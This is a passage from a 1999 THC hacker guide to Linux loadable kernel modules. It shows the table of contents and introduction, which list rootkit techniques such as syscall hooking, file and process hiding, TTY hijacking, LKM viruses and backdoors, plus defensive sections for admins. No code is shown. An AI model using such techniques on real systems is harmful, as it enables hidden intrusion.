123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278427942804281428242834284428542864287428842894290429142924293429442954296429742984299430043014302430343044305430643074308430943104311431243134314431543164317431843194320432143224323432443254326432743284329433043314332433343344335433643374338433943404341434243434344434543464347434843494350435143524353435443554356435743584359436043614362436343644365436643674368436943704371437243734374437543764377437843794380438143824383438443854386438743884389439043914392439343944395439643974398439944004401440244034404440544064407440844094410441144124413441444154416441744184419442044214422442344244425442644274428442944304431443244334434443544364437443844394440444144424443444444454446444744484449445044514452445344544455445644574458445944604461446244634464446544664467446844694470447144724473447444754476447744784479448044814482448344844485448644874488448944904491449244934494449544964497449844994500450145024503450445054506450745084509451045114512451345144515451645174518451945204521452245234524452545264527452845294530453145324533453445354536453745384539454045414542454345444545454645474548454945504551455245534554455545564557455845594560456145624563456445654566456745684569457045714572457345744575457645774578457945804581458245834584458545864587458845894590459145924593459445954596459745984599460046014602460346044605460646074608460946104611461246134614461546164617461846194620462146224623462446254626462746284629463046314632463346344635463646374638463946404641464246434644464546464647464846494650465146524653465446554656465746584659466046614662466346644665466646674668466946704671467246734674467546764677467846794680468146824683468446854686468746884689469046914692469346944695469646974698469947004701470247034704470547064707470847094710471147124713471447154716471747184719472047214722472347244725472647274728472947304731473247334734473547364737473847394740474147424743474447454746474747484749475047514752475347544755475647574758475947604761476247634764476547664767476847694770477147724773477447754776477747784779478047814782478347844785478647874788478947904791479247934794479547964797479847994800480148024803480448054806480748084809481048114812481348144815481648174818481948204821482248234824482548264827482848294830483148324833483448354836483748384839484048414842484348444845484648474848484948504851485248534854485548564857485848594860486148624863486448654866486748684869487048714872487348744875487648774878487948804881488248834884488548864887488848894890489148924893489448954896489748984899490049014902490349044905490649074908490949104911491249134914491549164917491849194920492149224923492449254926492749284929493049314932493349344935493649374938493949404941494249434944494549464947494849494950495149524953495449554956495749584959496049614962496349644965496649674968496949704971497249734974497549764977497849794980498149824983498449854986498749884989499049914992499349944995499649974998499950005001500250035004500550065007500850095010501150125013501450155016501750185019502050215022502350245025502650275028502950305031503250335034503550365037503850395040504150425043504450455046504750485049505050515052505350545055505650575058505950605061506250635064506550665067506850695070507150725073507450755076507750785079508050815082508350845085508650875088508950905091509250935094509550965097509850995100510151025103510451055106510751085109511051115112511351145115511651175118511951205121512251235124512551265127512851295130513151325133513451355136513751385139514051415142514351445145514651475148514951505151515251535154515551565157515851595160516151625163516451655166516751685169517051715172517351745175517651775178517951805181518251835184518551865187518851895190519151925193519451955196519751985199520052015202520352045205520652075208520952105211521252135214521552165217521852195220522152225223522452255226522752285229523052315232523352345235523652375238523952405241524252435244524552465247524852495250525152525253525452555256525752585259526052615262526352645265526652675268526952705271527252735274527552765277527852795280528152825283528452855286528752885289529052915292529352945295529652975298529953005301530253035304530553065307530853095310531153125313531453155316531753185319532053215322532353245325532653275328532953305331533253335334533553365337533853395340534153425343534453455346534753485349535053515352535353545355535653575358535953605361536253635364536553665367536853695370537153725373537453755376537753785379538053815382538353845385538653875388538953905391539253935394539553965397539853995400540154025403540454055406540754085409541054115412541354145415541654175418541954205421542254235424542554265427542854295430543154325433543454355436543754385439544054415442544354445445544654475448544954505451545254535454545554565457545854595460546154625463546454655466546754685469547054715472547354745475547654775478547954805481548254835484548554865487548854895490549154925493549454955496549754985499550055015502550355045505550655075508550955105511551255135514551555165517551855195520552155225523552455255526552755285529553055315532553355345535553655375538553955405541554255435544554555465547554855495550555155525553555455555556555755585559556055615562556355645565556655675568556955705571557255735574557555765577557855795580558155825583558455855586558755885589559055915592559355945595559655975598559956005601560256035604560556065607560856095610561156125613561456155616561756185619562056215622562356245625562656275628562956305631563256335634563556365637563856395640564156425643564456455646564756485649565056515652565356545655565656575658565956605661566256635664566556665667566856695670567156725673567456755676567756785679568056815682568356845685568656875688568956905691569256935694569556965697569856995700570157025703570457055706570757085709571057115712571357145715571657175718571957205721572257235724572557265727572857295730573157325733573457355736573757385739574057415742574357445745574657475748574957505751575257535754575557565757575857595760576157625763576457655766576757685769577057715772577357745775577657775778577957805781578257835784578557865787578857895790579157925793579457955796579757985799580058015802580358045805580658075808580958105811581258135814581558165817581858195820582158225823582458255826582758285829583058315832583358345835583658375838583958405841584258435844584558465847584858495850585158525853585458555856585758585859586058615862586358645865586658675868586958705871587258735874587558765877587858795880588158825883588458855886588758885889589058915892589358945895589658975898589959005901590259035904590559065907590859095910591159125913591459155916591759185919592059215922592359245925592659275928592959305931593259335934593559365937593859395940594159425943594459455946594759485949595059515952595359545955595659575958595959605961596259635964596559665967596859695970597159725973597459755976597759785979598059815982598359845985598659875988598959905991599259935994599559965997599859996000600160026003600460056006600760086009601060116012601360146015601660176018601960206021602260236024602560266027602860296030603160326033603460356036603760386039604060416042604360446045604660476048604960506051605260536054605560566057605860596060606160626063606460656066606760686069607060716072607360746075607660776078607960806081608260836084608560866087608860896090609160926093609460956096609760986099610061016102610361046105610661076108610961106111611261136114611561166117611861196120612161226123612461256126612761286129613061316132613361346135613661376138613961406141614261436144614561466147614861496150615161526153615461556156615761586159616061616162616361646165616661676168616961706171617261736174617561766177617861796180618161826183618461856186618761886189619061916192619361946195619661976198619962006201620262036204620562066207620862096210621162126213621462156216621762186219622062216222622362246225622662276228622962306231623262336234623562366237623862396240624162426243624462456246624762486249625062516252625362546255625662576258625962606261626262636264626562666267626862696270627162726273627462756276627762786279628062816282628362846285628662876288628962906291629262936294629562966297629862996300630163026303630463056306630763086309631063116312631363146315631663176318631963206321632263236324632563266327632863296330633163326333633463356336633763386339634063416342634363446345634663476348634963506351635263536354635563566357635863596360636163626363636463656366636763686369637063716372637363746375637663776378637963806381638263836384638563866387638863896390639163926393639463956396639763986399640064016402640364046405640664076408640964106411641264136414641564166417641864196420642164226423642464256426642764286429643064316432643364346435643664376438643964406441644264436444644564466447644864496450645164526453645464556456645764586459646064616462646364646465646664676468646964706471647264736474647564766477647864796480648164826483648464856486648764886489649064916492649364946495649664976498649965006501650265036504650565066507650865096510651165126513651465156516651765186519652065216522652365246525652665276528652965306531653265336534653565366537653865396540654165426543654465456546654765486549655065516552655365546555655665576558655965606561656265636564656565666567656865696570657165726573657465756576657765786579658065816582658365846585658665876588658965906591659265936594659565966597659865996600660166026603660466056606660766086609661066116612661366146615661666176618661966206621662266236624662566266627662866296630663166326633663466356636663766386639664066416642664366446645664666476648664966506651665266536654665566566657665866596660666166626663666466656666666766686669667066716672667366746675667666776678667966806681668266836684668566866687668866896690669166926693669466956696669766986699670067016702670367046705670667076708670967106711671267136714671567166717671867196720672167226723672467256726672767286729673067316732673367346735673667376738673967406741674267436744674567466747674867496750675167526753675467556756675767586759676067616762676367646765676667676768676967706771677267736774677567766777677867796780678167826783678467856786678767886789679067916792679367946795679667976798679968006801680268036804680568066807680868096810681168126813681468156816681768186819682068216822682368246825682668276828682968306831683268336834683568366837683868396840684168426843684468456846684768486849685068516852685368546855685668576858685968606861686268636864686568666867686868696870687168726873687468756876687768786879688068816882688368846885688668876888688968906891689268936894689568966897689868996900690169026903690469056906690769086909691069116912691369146915691669176918691969206921692269236924692569266927692869296930693169326933693469356936693769386939694069416942694369446945694669476948694969506951695269536954695569566957695869596960696169626963696469656966696769686969697069716972697369746975697669776978697969806981698269836984698569866987698869896990699169926993699469956996699769986999700070017002700370047005700670077008700970107011701270137014701570167017701870197020702170227023702470257026702770287029703070317032703370347035703670377038703970407041704270437044704570467047704870497050705170527053705470557056705770587059706070617062706370647065706670677068706970707071707270737074707570767077707870797080708170827083708470857086708770887089709070917092709370947095709670977098709971007101710271037104710571067107710871097110711171127113711471157116711771187119712071217122712371247125712671277128712971307131713271337134713571367137713871397140714171427143714471457146714771487149715071517152715371547155715671577158715971607161716271637164716571667167716871697170717171727173717471757176717771787179718071817182718371847185718671877188718971907191719271937194719571967197719871997200720172027203720472057206720772087209721072117212721372147215721672177218721972207221722272237224722572267227722872297230723172327233723472357236723772387239724072417242724372447245724672477248724972507251725272537254725572567257725872597260726172627263726472657266726772687269727072717272727372747275727672777278727972807281728272837284728572867287728872897290729172927293729472957296729772987299730073017302730373047305730673077308730973107311731273137314731573167317731873197320732173227323732473257326732773287329733073317332733373347335733673377338733973407341734273437344734573467347734873497350735173527353735473557356735773587359736073617362736373647365736673677368736973707371737273737374737573767377737873797380738173827383738473857386738773887389739073917392739373947395739673977398739974007401740274037404740574067407740874097410741174127413741474157416741774187419742074217422742374247425742674277428742974307431743274337434743574367437743874397440744174427443744474457446744774487449745074517452745374547455745674577458745974607461746274637464746574667467746874697470747174727473747474757476747774787479748074817482748374847485748674877488748974907491749274937494749574967497749874997500750175027503750475057506750775087509751075117512751375147515751675177518751975207521752275237524752575267527752875297530753175327533753475357536753775387539754075417542754375447545754675477548754975507551755275537554755575567557755875597560756175627563756475657566756775687569757075717572757375747575757675777578757975807581758275837584758575867587758875897590759175927593759475957596759775987599760076017602760376047605760676077608760976107611761276137614761576167617761876197620762176227623762476257626762776287629763076317632763376347635763676377638763976407641764276437644764576467647764876497650765176527653765476557656765776587659766076617662766376647665766676677668766976707671767276737674767576767677767876797680768176827683768476857686768776887689769076917692769376947695769676977698769977007701770277037704770577067707770877097710771177127713771477157716771777187719772077217722772377247725772677277728772977307731773277337734773577367737773877397740774177427743774477457746774777487749775077517752775377547755775677577758775977607761776277637764776577667767776877697770777177727773777477757776777777787779778077817782778377847785778677877788778977907791779277937794779577967797779877997800780178027803780478057806780778087809781078117812781378147815781678177818781978207821782278237824782578267827782878297830783178327833783478357836783778387839784078417842784378447845784678477848784978507851785278537854785578567857785878597860786178627863786478657866786778687869787078717872787378747875787678777878787978807881788278837884788578867887788878897890789178927893789478957896789778987899790079017902790379047905790679077908790979107911791279137914791579167917791879197920792179227923792479257926792779287929793079317932793379347935793679377938793979407941794279437944794579467947794879497950795179527953795479557956795779587959 |
- <HTML>
- <TITLE>(nearly) Complete Linux Loadable Kernel Modules</title>
- <BODY BGCOLOR=WHITE>
- <CENTER>
- <H1><FONT COLOR=#0000FF>
- (nearly) Complete Linux Loadable Kernel Modules
- </H1></FONT>
- <H4>
- -the definitive guide for hackers, virus coders and system administrators-
- </H4>
- </CENTER>
- <P>
- <H4><FONT COLOR=#FF0000>
- written by pragmatic / THC, version 1.0<br>
- released 03/1999<br>
- </H4></font>
- <P><P><P><P><P><P>
- <CENTER>
- <H3>
- CONTENTS
- </H3>
- </CENTER>
- <A HREF="#Introduction">Introduction</A><BR>
- <P><P>
- <B><U>
- I. Basics<BR>
- </B></U>
- <A HREF="#I.1.">1. What are LKMs</A><BR>
- <A HREF="#I.2.">2. What are Syscalls</A><BR>
- <A HREF="#I.3.">3. What is the Kernel-Symbol-Table</A><BR>
- <A HREF="#I.4.">4. How to transform Kernel to User Space Memory</A><BR>
- <A HREF="#I.5.">5. Ways to use user space like functions</A><BR>
- <A HREF="#I.6.">6. List of daily needed Kernelspace Functions</A><BR>
- <A HREF="#I.7.">7. What is the Kernel-Daemon</A><BR>
- <A HREF="#I.8.">8. Creating your own Devices</A><BR>
- <P><P>
- <B><U>
- II. Fun & Profit<BR>
- </B></U>
- <A HREF="#II.1.">1. How to intercept Syscalls</A><BR>
- <A HREF="#II.2.">2. Interesting Syscalls to Intercept</A><BR>
- <DD><A HREF="#II.2.1.">2.1 Finding interesting systemcalls (the strace approach)</A><BR></DD>
- <A HREF="#II.3.">3. Confusing the kernel's System Table</A><BR>
- <A HREF="#II.4.">4. Filesystem related Hacks</A><BR>
- <DD><A HREF="#II.4.1."> 4.1 How to Hide Files</A><BR></DD>
- <DD><A HREF="#II.4.2."> 4.2 How to hide the file contents (totally)</A><BR></DD>
- <DD><A HREF="#II.4.3."> 4.3 How to hide certain file parts (a prototype implementation)</A><BR></DD>
- <DD><A HREF="#II.4.4."> 4.4 How to monitor redirect file operations</A><BR></DD>
- <DD><A HREF="#II.4.5."> 4.5 How to avoid any file owner problems</A><BR></DD>
- <DD><A HREF="#II.4.6."> 4.6 How to make a hacker-tools-directory unaccessible</A><BR></DD>
- <DD><A HREF="#II.4.7."> 4.7 How to change CHROOT Environments</A><BR></DD>
- <A HREF="#II.5.">5. Process related Hacks</A><BR>
- <DD><A HREF="#II.5.1."> 5.1 How to hide any process</A><BR></DD>
- <DD><A HREF="#II.5.2."> 5.2 How to redirect Execution of files</A><BR></DD>
- <A HREF="#II.6.">6. Network (Socket) related Hacks</A><BR>
- <DD><A HREF="#II.6.1."> 6.1 How to controll Socket Operations</A><BR></DD>
- <A HREF="#II.7.">7. Ways to TTY Hijacking</A><BR>
- <A HREF="#II.8.">8. Virus writing with LKMs</A><BR>
- <DD><A HREF="#II.8.1."> 8.1 How a LKM virus can infect any file (not just modules; prototype)</A><BR></DD>
- <DD><A HREF="#II.8.2."> 8.2 How can a LKM virus help us to get in</A><BR></DD>
- <A HREF="#II.9.">9. Making our LKM invisible & unremovable</A><BR>
- <A HREF="#II.10.">10.Other ways of abusing the Kerneldaemon</A><BR>
- <A HREF="#II.11.">11.How to check for presents of our LKM</A><BR>
- <P><P>
- <B><U>
- III. Soltutions (for admins)<BR>
- </B></U>
- <A HREF="#III.1.">1. LKM Detector Theory & Ideas</A><BR>
- <DD><A HREF="#III.1.1.">1.1 Practical Example of a prototype Detector</A><BR></DD>
- <DD><A HREF="#III.1.2.">1.2 Practical Example of a prototype password protected create_module(...)</A><BR></DD>
- <A HREF="#III.2.">2. Anti-LKM-Infector ideas</A><BR>
- <A HREF="#III.3.">3 Make your programs untraceable (theory)</A><BR>
- <DD><A HREF="#III.3.1.">3.1 Practical Example of a prototype Anti-Tracer</A><BR></DD>
- <A HREF="#III.3.">4. Hardening the Linux Kernel with LKMs</A><BR>
- <DD><A HREF="#III.4.1."> 4.1 Why should we allow arbitrary programs execution rights?
- (route's idea from Phrack implemented as LKM)</A><BR></DD>
- <DD><A HREF="#III.4.2"> 4.2 The Link Patch
- (Solar Designer's idea from Phrack implemented as LKM)</A><BR></DD>
- <DD><A HREF="#III.4.3."> 4.3 The /proc permission patch
- (route's idea from Phrack implemented as LKM)</A><BR></DD>
- <DD><A HREF="#III.4.4."> 4.4 The securelevel patch
- (route's idea from Phrack implemented as LKM)</A><BR></DD>
- <DD><A HREF="#III.4.5."> 4.5 The rawdisk patch</A><BR></DD>
- <P><P>
- <B><U>
- IV. Some Better Ideas (for hackers)<BR>
- </B></U>
- <A HREF="#IV.1.">1. Tricks to beat admin LKMs</A><BR>
- <A HREF="#IV.2.">2. Patching the whole kernel - or creating the Hacker-OS</A><BR>
- <DD><A HREF="#IV.2.1."> 2.1 How to find kernel symbols in /dev/kmem</A><BR></DD>
- <DD><A HREF="#IV.2.2."> 2.2 The new 'insmod' working without kernel support</A><BR></DD>
- <A HREF="#IV.3.">3. Last words</A><BR>
- <P><P>
- <B><U>
- V. The near future : Kernel 2.2<BR>
- </B></U>
- <A HREF="#V.1.">1. Main Difference for LKM writer's</A><BR>
- <P><P>
- <B><U>
- VI. Last Words<BR>
- </B></U>
- <A HREF="#VI.1.">1. The 'LKM story' or 'how to make a system plug & hack compatible'</A><BR>
- <A HREF="#VI.2.">2. Links to other Resources</A><BR>
- <P><P>
- <A HREF="#Acknowledgements">Acknowledgements</A><BR>
- <P><P>
- <A HREF="#Greets">Greets</A><BR>
- <P><P><P><P>
- <B><U>
- Appendix<BR>
- </B></U>
- <P><P>
- <B><U>
- A - Source Codes<BR>
- </B></U>
- <DD><A HREF="#A-a">a) LKM Infection <I>by Stealthf0rk/SVAT</I></A><BR></DD>
- <DD><A HREF="#A-b">b) Heroin - the classic one <I>by Runar Jensen</I></A><BR></DD>
- <DD><A HREF="#A-c">c) LKM Hider / Socket Backdoor <I>by plaguez</I></A><BR></DD>
- <DD><A HREF="#A-d">d) LKM TTY hijacking <I>by halflife</I></A><BR></DD>
- <DD><A HREF="#A-e">e) AFHRM - the monitor tool <I>by Michal Zalewski</I></A><BR></DD>
- <DD><A HREF="#A-f">f) CHROOT module trick <I>by FLoW/HISPAHACK</I></A><BR></DD>
- <DD><A HREF="#A-g">g) Kernel Memory Patching <I>by ?</I></A><BR></DD>
- <DD><A HREF="#A-h">h) Module insertion without native support <I>by Silvio Cesare</I></A><BR></DD>
- <P><P><P><P>
- <HR SIZE="3" WIDTH="300" ALIGN="CENTER" NOSHADE="NOSHADE">
- <P><P><P><P>
- <P>
- <H3><A NAME="Introduction"></A>Introduction</H3>
- <P>
- The use of Linux in server environments is growing from second to second. So
- hacking Linux becomes more interesting every day. One of the best techniques to
- attack a Linux system is using kernel code. Due to its feature called Loadable
- Kernel Modules (LKMs) it is possible to write code running in kernel space, which
- allows us to access very sensitive parts of the OS. There were some texts and
- files concerning LKM hacking before (Phrack, for example) which were very good.
- They introduced new ideas, new methodes and complete LKMs doing anything a
- hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists)
- in 1998 were very interesting.<BR>
- So why do I write again a text about LKMs. Well there are several reasons :
- <ul>
- <li> former texts did sometimes not give good explanations for kernel beginners;
- this text has a very big basic section, helping beginners to understand the
- concepts. I met lots of people using nice exploits/sniffers and so on without
- even understanding how they work. I included lots of source code in this file
- with lots of comments, just to help those beginners who know that hacking is
- more than playing havoc on some networks out there !<br>
- <li> every published text concentrated on a special subject, there was no complete
- guide for hackers concerning LKMs. This text will cover nearly every aspect of
- kernel abusing (even virus aspects)<br>
- <li> this texts was written from the hacker / virus coder perspective, but it will
- also help admins and normal kernel developers doing a better job<br>
- <li> former text showed us the main advantages / methods of abusing LKMs, but
- there are some things which we have not heard of yet. This text will show
- some new ideas (nothing totally new, but things which could help us)<br>
- <li> this text will show concepts of some simple ways to protect from LKM attacks<br>
- <li> this text will also show how to defeat LKM protections by using methods like
- Runtime Kernel Patching<br>
- </ul>
- Please remember that new ideas are implemented as prototype modules (just for
- demonstration) which have to be improved in order to use them in the wild.<br>
- The main motivation of this text is giving everyone <i>one</i> big text covering the
- whole LKM problem. In appendix A I give you some existing LKMs plus a short
- description of their working (for beginners) and ways to use them. <br>
- The whole text (except part V) is based on a Linux 2.0.x machine (x86).I tested
- all programs and code fragments. The Linux system must have LKM support for
- using most code examples in this text. Only part IV will show some sources
- working without native LKM support. Most ideas in this text will also work on
- 2.2.x systems (perhaps you'll need some minor modification); but recall that
- kernel 2.2.x was just released (1/99) and most linux distribution still use
- 2.0.x (Redhat, SuSE, Caldera, ...). In April some some distributors like SuSE
- will present their kernel 2.2.x versions; so you won't need to know how to hack
- a 2.2.x kernel at the moment. Good administrators will also wait some months
- in order to get a more reliable 2.2.x kernel. [Note : Most systems just don't
- need kernel 2.2.x so they will continue using 2.0.x].<br>
- This text has a special section dealing with LKMs helping admins to secure the
- system. You (hacker) should also read this section, you <i>must</i> know everything
- the admins know and even more. You will also get some nice ideas from that
- section that could help you develope more advanced 'hacker-LKMs'. Just read the
- whole text !<br>
- <I><u>And please remember</I></u> : This text was only written for educational purpose. Any
- illegal action based on this text is your own problem.<br>
- <u><b>
- <H2>I. Basics</H2>
- </u></b>
- <P><P>
- <H3><A NAME="I.1."></A>1. What are LKMs</H3>
- LKMs are Loadable Kernel Modules used by the Linux kernel to expand his
- functionality. The advantage of those LKMs : <i>The can be loaded dynamically</i>;
- there must be no recompilation of the whole kernel. Because of those features
